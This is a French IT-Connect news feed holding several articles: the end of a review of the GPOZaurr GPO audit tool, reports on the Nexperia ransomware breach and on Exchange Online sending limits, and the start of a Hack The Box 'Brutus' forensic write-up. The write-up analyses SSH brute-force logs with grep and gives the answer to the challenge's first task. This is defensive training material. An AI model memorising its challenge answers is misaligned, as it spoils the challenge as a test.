<figure class="wp-block-image size-large"><a href="media/d8eac0eb.Rapport-GPOZaurr-Exemple.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Rapport-GPOZaurr-Exemple.jpg"><img decoding="async" width="800" height="433" src="media/e2a6f5b8.Rapport-GPOZaurr-Exemple-800x433.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Rapport-GPOZaurr-Exemple-800x433.jpg" alt="" class="wp-image-79128" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Rapport-GPOZaurr-Exemple-800x433.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Rapport-GPOZaurr-Exemple-550x298.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Rapport-GPOZaurr-Exemple-150x81.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Rapport-GPOZaurr-Exemple-768x415.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Rapport-GPOZaurr-Exemple-50x27.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Rapport-GPOZaurr-Exemple.jpg 1000w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p><strong>Chaque sous-rapport peut être exporté au format Excel, CSV ou PDF</strong>. De plus, vous pouvez effectuer des recherches sur chaque colonne d'un tableau afin de filtrer les résultats rapidement.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="200" src="media/4e8acb39.GPOZaurr-Rapport-Image-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Rapport-Image-1.png" alt="" class="wp-image-79219" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Rapport-Image-1.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Rapport-Image-1-550x138.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Rapport-Image-1-150x38.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Rapport-Image-1-768x192.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Rapport-Image-1-50x13.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Pour avoir une vue d'ensemble de vos GPO, cliquez sur l'onglet "<strong>Group Policy Summary</strong>". Il offre un aperçu global sur l'ensemble de vos GPO avec <strong>quelques indicateurs clés (oui/non) : GPO vide, GPO activée, GPO optimisée, GPO avec un problème, GPO liée, etc.</strong></p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/be9c61c4.GPOZaurr-Synthese-GPO-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Synthese-GPO-1.png"><img decoding="async" width="1338" height="639" data-id="79223" src="media/be9c61c4.GPOZaurr-Synthese-GPO-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Synthese-GPO-1.png" alt="" class="wp-image-79223" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Synthese-GPO-1.png 1338w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Synthese-GPO-1-550x263.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Synthese-GPO-1-800x382.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Synthese-GPO-1-150x72.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Synthese-GPO-1-768x367.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Synthese-GPO-1-50x24.png 50w" sizes="(max-width: 1338px) 100vw, 1338px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/f516c9de.GPOZaurr-Synthese-GPO-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Synthese-GPO-2.png"><img decoding="async" width="1336" height="636" data-id="79224" src="media/f516c9de.GPOZaurr-Synthese-GPO-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Synthese-GPO-2.png" alt="" class="wp-image-79224" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Synthese-GPO-2.png 1336w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Synthese-GPO-2-550x262.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Synthese-GPO-2-800x381.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Synthese-GPO-2-150x71.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Synthese-GPO-2-768x366.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Synthese-GPO-2-50x24.png 50w" sizes="(max-width: 1336px) 100vw, 1336px" /></a></figure>
</figure>



<p>En complément, si vous basculez sur l'onglet "<strong>Group Policy Content</strong>", vous pourrez constater que GPOZaurr a organisé vos GPO par catégorie. Par exemple, la catégorie "<strong>Audit</strong>" permet de <strong>voir toutes les GPO qui permettent de configurer des paramètres de stratégies d'audit</strong>.</p>



<figure class="wp-block-image size-large"><a href="media/1496efa3.GPOZaurr-Categorie-de-GPO.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Categorie-de-GPO.png"><img decoding="async" width="800" height="378" src="media/e324bebc.GPOZaurr-Categorie-de-GPO-800x378.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Categorie-de-GPO-800x378.png" alt="" class="wp-image-79227" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Categorie-de-GPO-800x378.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Categorie-de-GPO-550x260.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Categorie-de-GPO-150x71.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Categorie-de-GPO-768x363.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Categorie-de-GPO-50x24.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Categorie-de-GPO.png 1358w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p>Chaque onglet contient des informations intéressantes et qui pourront s'avérer plus ou moins utiles et pertinentes selon le contexte dans lequel vous utilisez GPOZaurr. Si vous passez sur l'onglet "<strong>SYSVOL (NetLogon) Files List</strong>", vous pourrez visualiser<strong> l'ensemble des fichiers détectés dans le partage SYSVOL</strong>. Ce sera aussi l'occasion de voir si ces fichiers sont liés à une GPO, ou pas.</p>



<figure class="wp-block-image size-large"><a href="media/6eae704a.GPOZaurr-Liste-des-fichiers-dans-SYSVOL.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Liste-des-fichiers-dans-SYSVOL.png"><img decoding="async" width="800" height="377" src="media/0053cd45.GPOZaurr-Liste-des-fichiers-dans-SYSVOL-800x377.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Liste-des-fichiers-dans-SYSVOL-800x377.png" alt="" class="wp-image-79228" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Liste-des-fichiers-dans-SYSVOL-800x377.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Liste-des-fichiers-dans-SYSVOL-550x259.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Liste-des-fichiers-dans-SYSVOL-150x71.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Liste-des-fichiers-dans-SYSVOL-768x362.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Liste-des-fichiers-dans-SYSVOL-50x24.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Liste-des-fichiers-dans-SYSVOL.png 1357w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p><strong>GPOZaurr est également capable de corriger les problèmes à votre place</strong>, grâce à un processus étape par étape où l'outil vous fournit les commandes PowerShell à exécuter pour faire le nécessaire. À chaque fois que vous changez d'onglet, les étapes de remédiation sont adaptées en fonction du contexte. Néanmoins, <strong>je vous recommande de corriger les problèmes vous-même</strong> et d'utiliser GPOZaurr uniquement pour vous faciliter le travail d'analyse. Même rien ne vous empêche de vous inspirer de la solution proposée, mais l'objectif étant de limiter les effets indésirables...</p>



<figure class="wp-block-image size-large"><a href="media/b8693fd7.GPOZaurr-Correction-des-problemes.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Correction-des-problemes.png"><img decoding="async" width="800" height="377" src="media/9177bf8a.GPOZaurr-Correction-des-problemes-800x377.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Correction-des-problemes-800x377.png" alt="" class="wp-image-79231" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Correction-des-problemes-800x377.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Correction-des-problemes-550x259.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Correction-des-problemes-150x71.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Correction-des-problemes-768x362.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Correction-des-problemes-50x24.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/GPOZaurr-Correction-des-problemes.png 1344w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<h2 class="wp-block-heading">VI. Conclusion</h2>



<p>J'ai découvert GPOZaurr récemment, et c'est bien dommage.... Il aurait pu me rendre bien des services pour investiguer sur des problèmes de GPO, générer un rapport complet sur les GPO pour un audit ou encore pour effectuer du tri dans les GPO. J'espère que cet article vous donnera envie de l'utiliser et de l'ajouter à votre boite à outils !</p>



<p>En complément de cet article, vous pouvez lire celui rédigé par l'auteur de ce module (en anglais) :</p>



<ul>
<li><a href="https://evotec.xyz/the-only-command-you-will-ever-need-to-understand-and-fix-your-group-policies-gpo/" target="_blank" rel="noopener nofollow" title="">Evotec.xyz - GPOZaurr</a></li>
</ul><p>The post <a href="https://www.it-connect.fr/gpozaurr-outil-ultime-pour-audit-analyser-gpo/">GPOZaurr, l’outil ultime pour analyser vos stratégies de groupe</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79609
title: Le fabricant de semi-conducteurs Nexperia victime d’une cyberattaque par ransomware !
uri: Le-fabricant-de-semi-conducteurs-Nexperia-victime-d-une-cyberattaque
url:
https://www.it-connect.fr/le-fabricant-de-semi-conducteurs-nexperia-victime-dune-cyberattaque-par-ransomware/

content:
<p><strong>Nexperia, un important fabricant de semi-conducteurs néerlandais, a été victime d'une cyberattaque par ransomware lors de laquelle les pirates sont parvenus à exfiltrer des données de l'entreprise. Voici ce que l'on sait sur cet incident de sécurité !</strong></p>



<p>Établie aux Pays-Bas, l'entreprise Nexperia est un fabricant de semi-conducteurs présents dans le monde avec<strong> 15 000 employés</strong> répartis <strong>en Europe, aux États-Unis et en Asie</strong>. L'entreprise Nexperia fabrique et expédie plus de 100 milliards de produits par an, et elle réalise un <strong>chiffre d'affaires annuel de plus de 2,1 milliards de dollars</strong>.</p>



<p>Vendredi 12 avril 2024, un <a href="https://www.nexperia.com/about/news-events/press-releases/Press-statement--Nexperia-IT-Breach" target="_blank" rel="noopener nofollow" title="">communiqué de presse</a> a été publié par Nexperia afin de confirmer publiquement qu'<strong>un groupe de cybercriminels était parvenu à s'introduire sur certains serveurs</strong>. Cette intrusion a eu lieu en <strong>mars 2024</strong> et dès qu'elle a été détectée, les équipes de Nexperia sont intervenues : "<em>Nous avons rapidement pris des mesures et déconnecté les systèmes concernés de l'internet afin de contenir l'incident et de mettre en œuvre des mesures d'atténuation importantes.</em>"</p>



<p>En parallèle, <strong>Nexperia a ouvert une enquête dans le but d'identifier la nature et les conséquences exactes de l'incident</strong>. Les investigations sont menées en collaboration avec une équipe de spécialistes de chez FoxIT, sollicités en réponse à cet incident.</p>



<h2 class="wp-block-heading">1 To de données dans la nature ?</h2>



<p>Le 10 avril 2024, le site d'extorsion "<strong>Dunghill Leak</strong>" a annoncé le vol de <strong>1 To de données confidentielles sur les serveurs de Nexperia</strong>. Si la rançon n'est pas payée par le fabricant néerlandais, Dunghill menace de publier les données (ou de les revendre à un tiers malveillant) suivantes :</p>



<ul>
<li>371 Go de données sur la conception et les produits, y compris le contrôle de qualité, les accords de confidentialité, les secrets commerciaux, les spécifications techniques, les schémas confidentiels et les instructions de production.</li>



<li>246 Go de données d'ingénierie, dont des documents correspondants à des études internes et des technologies de fabrication.</li>



<li>96 Go de données commerciales et de marketing, y compris des analyses de prix.</li>



<li>41,5 Go de données liées aux ressources humaines, aux données personnelles des employés, avec notamment des copies de passeports de salariés.</li>



<li>109 Go de données de clients et d'utilisateurs, parmi lesquelles des marques comme SpaceX, IBM, Apple et Huawei.</li>



<li>121,1 Go de fichiers et de données diverses, dont des fichiers relatifs aux e-mails.</li>
</ul>



<p>En guise de preuves,<strong> une partie des données a été divulguée par Dunghill </strong>: des images de composants électroniques scannés au microscope, des passeports d'employés et des accords de non-divulgation. Pour le moment, <strong>Nexperia ne s'est pas exprimé au sujet de ces documents.</strong></p>



<p><a href="https://www.bleepingcomputer.com/news/security/chipmaker-nexperia-confirms-breach-after-ransomware-gang-leaks-data/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/le-fabricant-de-semi-conducteurs-nexperia-victime-dune-cyberattaque-par-ransomware/">Le fabricant de semi-conducteurs Nexperia victime d’une cyberattaque par ransomware !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79612
title: Exchange Online : pour lutter contre le spam, Microsoft va limiter l’envoi de courriels en masse
uri: 2024-04-16-
url: https://www.it-connect.fr/microsoft-exchange-online-external-recipient-rate-lutte-spam/
content:
<p><strong>À partir de janvier 2025 et dans le but de lutter contre l'envoi de spams, Microsoft va mettre en place une nouvelle restriction sur Exchange Online : une limite de 2 000 destinataires externes par jour. Faisons le point sur ce changement à venir.</strong></p>



<p>Vous n'allez plus pouvoir abuser des ressources d'Exchange Online puisque dans <a href="https://techcommunity.microsoft.com/t5/exchange-team-blog/exchange-online-to-introduce-external-recipient-rate-limit/ba-p/4114733?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">un nouvel article</a>, Microsoft a dévoilé les plans de sa nouvelle limite "<strong>External Recipient Rate</strong>" (ERR) : "<em>Aujourd'hui, nous annonçons qu'à partir de janvier 2025, Exchange Online commencera à appliquer une limite de 2 000 destinataires externes en 24 heures.</em>", peut -on lire.</p>



<p>Il s'agit d'une sous-limite de la limite globale, visant à limiter le nombre de destinataires externes à votre organisation. Voici ce qu'explique Microsoft dans son article : "<em>Exchange Online applique une limite de taux de réception de 10 000 destinataires. La limite de 2 000 ERR deviendra une sous-limite dans cette limite de 10 000 destinataires.</em>"</p>



<p>Cette limite de 10 000 destinataires est indiquée dans<a href="https://learn.microsoft.com/en-us/office365/servicedescriptions/exchange-online-service-description/exchange-online-limits#sending-limits?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title=""> la documentation de Microsoft</a>. Elle est identique pour tous les abonnements Microsoft 365 (Business Basic, Business Standard, Business Premium, E3, E5, etc.).</p>



<h2 class="wp-block-heading">La feuille de route de Microsoft</h2>



<p>Pour déployer ce changement, Microsoft a prévu deux grandes étapes :</p>



<ul>
<li><strong>Étape n°1</strong> : À partir du 1er janvier 2025, la limite s'appliquera aux boîtes aux lettres Exchange Online, sur tous les nouveaux tenants.</li>



<li><strong>Étape n°2</strong> - Entre juillet et décembre 2025, Microsoft va commencer à appliquer la limite aux boîtes aux lettres Exchange Online, sur les tenants existants</li>
</ul>



<p>Autrement dit, si vous utilisez déjà Microsoft 365, vous serez affecté par ce changement entre juillet et décembre 2025.</p>



<p>Si vous avez besoin d'envoyer en masse des e-mails et que cette limitation est un problème pour votre organisation, vous devez vous orienter vers le service <a href="https://learn.microsoft.com/azure/communication-services/concepts/email/email-overview?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Azure Communication Services for Email</a> qui est adapté à cet usage.</p>



<p>Microsoft n'est pas la première entreprise à prendre de nouvelles mesures sur les e-mails sortants : <a href="https://www.it-connect.fr/fevrier-2024-google-et-yahoo-imposent-utilisation-spf-dkim-dmarc/" target="_blank" rel="noopener" title="Nous sommes le 1er février 2024, Google et Yahoo! imposent l’utilisation de SPF, DKIM et DMARC">Google l'a fait un peu plus tôt cette année</a> avec une limite à 5 000 e-mails par jour, à partir d'un même compte Gmail.</p>



<p><a href="https://www.bleepingcomputer.com/news/microsoft/microsoft-will-limit-exchange-online-bulk-emails-to-fight-spam/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/microsoft-exchange-online-external-recipient-rate-lutte-spam/">Exchange Online : pour lutter contre le spam, Microsoft va limiter l’envoi de courriels en masse</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79217
title: Hack the box – Sherlocks (forensic) : découverte et solution de Brutus
uri: Hack-the-box-Sherlocks-(forensic)-découverte-et-solution-de-Bru
url: https://www.it-connect.fr/hack-the-box-decouverte-et-solution-du-challenge-sherlocks-brutus/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p>On se retrouve dans cet article pour une nouvelle solution de l'un des challenges d'investigation numérique/forensic nommés <strong>Sherlocks</strong> et mis à disposition par la plateforme <strong>Hack The Box</strong>. Dans cet article, nous allons détailler la démarche qui permet de résoudre le <strong>Sherlocks Brutus</strong>, de difficulté "débutant". Il s'agit d'un challenge très simple fait pour <strong>les débutants</strong> en cybersécurité qui vise à démystifier le <em>forensic</em> au travers un cas d'usage assez simple, mais tout de même réaliste.</p>



<p>Cet article sera notamment l'occasion de comprendre <strong>comment peut se dérouler concrètement une cyberattaque</strong>, et quels sont les <strong>modes opératoires</strong> des attaquants et analystes en cybersécurité. Nous allons plus précisément <strong>étudier le cas d'une attaque par bruteforce</strong> sur un service SSH et quelques <strong>fichiers de logs classiques des systèmes d'exploitation Linux</strong>.</p>



<p><strong>Lien du challenge</strong> : <a href="https://app.hackthebox.com/sherlocks/Brutus" target="_blank" rel="noopener nofollow" title="Hack THe Box - Sherlocks - Brutus ">Hack The Box - Sherlocks - Brutus </a></p>



<p class="has-text-align-center"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Cette solution est publiée en accord avec les <a href="https://app.hackthebox.com/rules" target="_blank" rel="noopener nofollow" title="">règles d'HackThebox </a>et ne sera diffusée que lorsque le Sherlocks en question sera indiqué comme "Retired".</mark></p>



<figure class="wp-block-table"><table><tbody><tr><td><strong>Technologies abordées</strong></td><td>Linux, bruteforce, wtmp, auth.log, SSH</td></tr><tr><td><strong>Outils utilisés</strong></td><td>cat, grep, tail, uniq, framework MITRE ATT&amp;CK</td></tr></tbody></table></figure>



<p><strong>Retrouvez tous nos articles Hack The Box via ce lien :</strong></p>



<ul>
<li><a href="https://www.it-connect.fr/tag/hack-the-box/" target="_blank" rel="noopener" title="">IT-Connect - Articles Hack The Box</a></li>
</ul>



<h2 class="wp-block-heading">II. Découverte de l'archive et des journaux</h2>



<p>Dans le cadre de l'investigation, un contexte et une archive sont mis à disposition :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img fetchpriority="high" decoding="async" width="800" height="508" src="media/7becfe15.hackthebox-writeup-sherlocks-brutus-800x508.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-brutus-800x508.png" alt="" class="wp-image-79220" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-brutus-800x508.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-brutus-550x349.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-brutus-150x95.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-brutus-768x488.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-brutus-50x32.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-brutus.png 844w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Le scénario du challenge nous apprend qu'un serveur Linux Confluence a été la cible d'une attaque par brute force et que l'attaquant est parvenu à accéder au serveur puis à réaliser des actions sur celui-ci. Notre objectif va donc être d'identifier plus clairement les différentes phases de cette cyberattaque en étant guidé par les questions du challenge.</p>



<p>Si l'on s'intéresse à l'archive "<strong>Brutus.zip</strong>" téléchargée et décompressée, nous découvrons deux fichiers :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="409" height="67" src="media/5ece3e05.hackthebox-writeup-sherlocks-brutus-archive.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-brutus-archive.png" alt="" class="wp-image-79230" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-brutus-archive.png 409w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-brutus-archive-150x25.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/hackthebox-writeup-sherlocks-brutus-archive-50x8.png 50w" sizes="(max-width: 409px) 100vw, 409px" /></figure></div>


<p>Comme l'indique l'extension "<strong>.log</strong>", il s'agit de logs, c'est-à-dire des journaux d'évènements.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Les journaux d'évènements, ou "logs", sont des fichiers dans lesquels sont inscrits des informations à propos des opérations menées sur un système, avec des informations techniques et un horodatage, comme : "<strong>12/03/2022 12:56 : L'utilisateur john s'est authentifié"</strong>. Ils permettent d'assurer une traçabilité des évènements et actions dans le temps sur un système et sont utilisés pour du debug, mais aussi pour l'investigation à la suite d'une cyberattaque puisqu'ils permettent de retracer la vie du système dans le passé.<br><br>Les fichiers de logs sont en général organisés par périmètre (authentification, application web, etc.) et suivent une structure et un formatage précis.</p>
</blockquote>



<p>Ces deux fichiers ont des noms que les habitués des systèmes d'exploitation Linux devraient reconnaitre :</p>



<ul>
<li>Le fichier "<strong>/var/log/auth.log</strong>" est un fichier servant à stocker les évènements relatifs à l'authentification sur les systèmes d'exploitations Linux tels qu'une authentification échouée ou réussie, locale ou distante.
<ul>
<li>Vous pourrez en apprendre plus sur ce fichier dans notre article <a href="https://www.it-connect.fr/linux-explication-fichier-var-log-auth-log/" target="_blank" rel="noopener" title="Linux : qu’est-ce que le fichier /var/log/auth.log ou /var/log/secure ?">Linux : qu’est-ce que le fichier /var/log/auth.log ou /var/log/secure ?</a></li>
</ul>
</li>



<li>Le fichier "<strong><strong>/var/log/</strong>wtmp</strong>" est également un fichier de log qui vise à garder une trace de toutes les connexions et déconnexions au système. Il utilise un format différent des fichiers "<strong>.log</strong>", qui sont des fichiers texte et doit être parcouru à l'aide d'une commande bien précise.</li>
</ul>



<p>Si l'on regarde les premières lignes du fichier "<strong>auth.log</strong>", on peut notamment y voir des informations concernant les authentifications, tentatives d'authentification et déconnexions sur le système, exemple :</p>



<pre class="wp-block-code"><code>Mar  6 06:31:42 ip-172-31-35-28 sshd&#91;2423]: <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">Failed password</mark></strong> for backup from 65.2.161.68 port 34834 ssh2
Mar  6 06:31:42 ip-172-31-35-28 sshd&#91;2424]: <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">Failed password</mark></strong> for backup from 65.2.161.68 port 34856 ssh2
Mar  6 06:31:44 ip-172-31-35-28 sshd&#91;2423]: <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">Connection closed</mark></strong> by authenticating user backup 65.2.161.68 port 34834 &#91;preauth]
Mar  6 06:31:44 ip-172-31-35-28 sshd&#91;2424]: Connection closed by authenticating user backup 65.2.161.68 port 34856 &#91;preauth]
Mar  6 06:32:44 ip-172-31-35-28 sshd&#91;2491]: <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">Accepted password</mark></strong> for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:24 ip-172-31-35-28 sshd&#91;2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar  6 06:37:24 ip-172-31-35-28 sshd&#91;2491]: Disconnected from user root 65.2.161.68 port 53184</code></pre>



<p>Passons à présent aux différentes tâches de notre investigation qui nous permettrons d'en découvrir plus sur ces fichiers et quelles informations ils peuvent nous fournir dans le cadre de l'étude d'une cyberattaque.</p>



<h2 class="wp-block-heading">III. Investigation numérique : le cas Brutus</h2>



<h3 class="wp-block-heading">A. Tâche n°1: Identifier l'adresse IP de l'attaquant</h3>



<ul>
<li><strong>Énoncé - Task 1 : Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?</strong></li>
</ul>



<p>D'après le scénario proposé dans le cadre du challenge, le système ayant produit ces logs à subit une attaque par brute force, qui consiste à essayer un très grand nombre de mots de passe pour un même compte utilisateur jusqu'à trouver la bonne combinaison. Parmi les nombreuses informations journalisées dans le fichier "<strong>auth.log</strong>" lors d'une authentification figure l'adresse IP du client.</p>



<p>Afin d'extraire toutes les adresses IP du fichier "<strong>auth.log</strong>", nous pouvons utiliser la commande "<strong>grep</strong>" ainsi qu'une expression régulière qui va extraire toutes les chaines de caractères qui s'apparentent à une adresse IP.</p>



<pre class="wp-block-code"><code>$ grep <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">-oE '&#91;0-9]{1,3}\.&#91;0-9]{1,3}\.&#91;0-9]{1,3}\.&#91;0-9]{1,3}'</mark></strong> auth.log  | uniq -c
      1 203.101.190.9
      4 65.2.161.68
      1 172.31.35.28
    210 65.2.161.68</code></pre>



<p>Comme vous pouvez le voir, j'ai également utilisé la commande "<strong>uniq</strong>" avec l'option "<strong>-c</strong>" afin qu'elle me sorte le nombre d'occurrences de chaque adresse IP. L'adresse IP "<strong>65.2.161.68</strong>" sort clairement du lot avec 210 occurrences. Nous pouvons à nouveau utiliser la commande "<strong>grep</strong>" pour extraire toutes les lignes de log contenant cette adresse IP :</p>



<pre class="wp-block-code"><code>$ grep "<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">65.2.161.68</mark></strong>" auth.log         
Mar  6 06:31:31 ip-172-31-35-28 sshd&#91;2325]: Invalid user admin from 65.2.161.68 port 46380      
Mar  6 06:31:31 ip-172-31-35-28 sshd&#91;2325]: Received disconnect from 65.2.161.68 port 46380:11: Bye Bye &#91;preauth]           
Mar  6 06:31:31 ip-172-31-35-28 sshd&#91;2325]: Disconnected from invalid user admin 65.2.161.68 port 46380 &#91;preauth]           
Mar  6 06:31:31 ip-172-31-35-28 sshd&#91;620]: drop connection #10 from &#91;65.2.161.68]:46482 on &#91;172.31.35.28]:22 past MaxStartups             
Mar  6 06:31:31 ip-172-31-35-28 sshd&#91;2327]: Invalid user admin from 65.2.161.68 port 46392      
Mar  6 06:31:31 ip-172-31-35-28 sshd&#91;2327]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd&#91;2332]: Invalid user admin from 65.2.161.68 port 46444      
Mar  6 06:31:31 ip-172-31-35-28 sshd&#91;2331]: Invalid user admin from 65.2.161.68 port 46436      
Mar  6 06:31:31 ip-172-31-35-28 sshd&#91;2332]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd&#91;2331]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd&#91;2330]: Invalid user admin from 65.2.161.68 port 46422</code></pre>



<p>Cela nous donne effectivement des exemples intéressants, comme "<strong>Invalid user admin from 65.2.161.68</strong>" qui indique qu'une authentification a été tentée depuis cette adresse IP pour un utilisateur "<strong>admin</strong>", qui de toute façon n'existe pas sur le système.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Lorsqu'un attaquant opère une attaque par brute force sans connaitre de login utilisateur valide sur sa cible<strong>, il doit réaliser beaucoup plus de tests </strong>que s'il a la certitude de l'existence du compte utilisateur ciblé. Ainsi, son attaque à moins de chance d'aboutir et il a plus de chance de se faire détecter si de tels évènements sont surveillés.</p>
</blockquote>



<p>Maintenant que nous avons identifié l'adresse IP de l'attaquant, nous allons pouvoir tenter de mieux comprendre les opérations qu'il a menées.</p>



